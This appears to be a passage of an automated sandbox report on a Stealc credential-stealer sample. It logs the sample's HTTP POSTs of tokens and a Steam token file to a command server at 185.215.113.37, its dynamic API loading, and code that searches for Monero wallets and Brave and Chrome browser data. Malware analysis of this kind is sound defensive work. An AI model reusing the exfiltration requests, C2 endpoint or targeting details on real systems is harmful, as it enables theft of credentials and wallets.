46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file"------AKJKFBAFIDAEBFHJKJEB--
Oct 12, 2024 13:17:35.947808981 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:35.948141098 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:35.948262930 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:35.948357105 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:35.971364975 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAKKECAEGCAKFIIIDH Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 2d 2d 0d 0a Data Ascii: ------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="message"ybncbhylepme------IDBAKKECAEGCAKFIIIDH--
Oct 12, 2024 13:17:36.212471008 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:36 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 4676 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Oct 12, 2024 13:17:36.213984966 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHD Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 2d 2d 0d 0a Data Ascii: ------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BAKEBFBAKKFCBGDHDGHD--
Oct 12, 2024 13:17:36.932501078 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	07:17:06
Start date:	12/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7f0000
File size:	1'858'048 bytes
MD5 hash:	279B92E7A6114A2FB3AB693E1F44986D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1774077760.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	23.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00809860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,013524B8), ref: 008098A1
GetProcAddress.KERNEL32(74DD0000,01352308), ref: 008098BA
GetProcAddress.KERNEL32(74DD0000,01352320), ref: 008098D2
GetProcAddress.KERNEL32(74DD0000,01352350), ref: 008098EA
GetProcAddress.KERNEL32(74DD0000,013524D0), ref: 00809903
GetProcAddress.KERNEL32(74DD0000,01358FE8), ref: 0080991B
GetProcAddress.KERNEL32(74DD0000,01345A70), ref: 00809933
GetProcAddress.KERNEL32(74DD0000,01345930), ref: 0080994C
GetProcAddress.KERNEL32(74DD0000,01352368), ref: 00809964
GetProcAddress.KERNEL32(74DD0000,01352248), ref: 0080997C
GetProcAddress.KERNEL32(74DD0000,01352380), ref: 00809995
GetProcAddress.KERNEL32(74DD0000,01352290), ref: 008099AD
GetProcAddress.KERNEL32(74DD0000,01345710), ref: 008099C5
GetProcAddress.KERNEL32(74DD0000,013523B0), ref: 008099DE
GetProcAddress.KERNEL32(74DD0000,01352260), ref: 008099F6
GetProcAddress.KERNEL32(74DD0000,01345810), ref: 00809A0E
GetProcAddress.KERNEL32(74DD0000,013523C8), ref: 00809A27
GetProcAddress.KERNEL32(74DD0000,013523E0), ref: 00809A3F
GetProcAddress.KERNEL32(74DD0000,01345A90), ref: 00809A57
GetProcAddress.KERNEL32(74DD0000,01352278), ref: 00809A70
GetProcAddress.KERNEL32(74DD0000,01345A30), ref: 00809A88
LoadLibraryA.KERNEL32(01352530,?,00806A00), ref: 00809A9A
LoadLibraryA.KERNEL32(013525C0,?,00806A00), ref: 00809AAB
LoadLibraryA.KERNEL32(013525A8,?,00806A00), ref: 00809ABD
LoadLibraryA.KERNEL32(01352590,?,00806A00), ref: 00809ACF
LoadLibraryA.KERNEL32(013525D8,?,00806A00), ref: 00809AE0
GetProcAddress.KERNEL32(75A70000,01352518), ref: 00809B02
GetProcAddress.KERNEL32(75290000,01352578), ref: 00809B23
GetProcAddress.KERNEL32(75290000,01352548), ref: 00809B3B
GetProcAddress.KERNEL32(75BD0000,01352560), ref: 00809B5D
GetProcAddress.KERNEL32(75450000,013458F0), ref: 00809B7E
GetProcAddress.KERNEL32(76E90000,013590F8), ref: 00809B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00809BB6

Strings

NtQueryInformationProcess, xrefs: 00809BAA

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3a0c3e13fc9be43489f2689c119e7a46bacd9a397c96542030421a20f88522f8
Instruction ID: d58f1af875ec20255f54e25d17c320d2a14158d57df320c46c31774280938175
Opcode Fuzzy Hash: 3a0c3e13fc9be43489f2689c119e7a46bacd9a397c96542030421a20f88522f8
Instruction Fuzzy Hash: 22A109B66042609FD344EFE8FD88A6677F9F778301714851AB689C3264D7399843CB52

Function 007F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 007F460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 007F479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007F4729

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: fb6c245bd7a95e75aad161e3113e75638430f7ad6f4fe520f860b49285d2897c
Instruction ID: 7595f075698f91bec62f60b54066c2eaa260f81200c95b9c50634f6d6085e465
Opcode Fuzzy Hash: fb6c245bd7a95e75aad161e3113e75638430f7ad6f4fe520f860b49285d2897c
Instruction Fuzzy Hash: 974107607E660CFAC664F7A4984EEDF776AFF96700F9050C4AB3093780CBB869C05526

Function 007FBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

FindFirstFileA.KERNEL32(00000000,?,00810B32,00810B2B,00000000,?,?,?,008113F4,00810B2A), ref: 007FBEF5
StrCmpCA.SHLWAPI(?,008113F8), ref: 007FBF4D
StrCmpCA.SHLWAPI(?,008113FC), ref: 007FBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 007FC7BF
FindClose.KERNEL32(000000FF), ref: 007FC7D1

Strings

Preferences, xrefs: 007FC11E
Google Chrome, xrefs: 007FC634
Brave, xrefs: 007FC102
\Brave\Preferences, xrefs: 007FC1DB

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

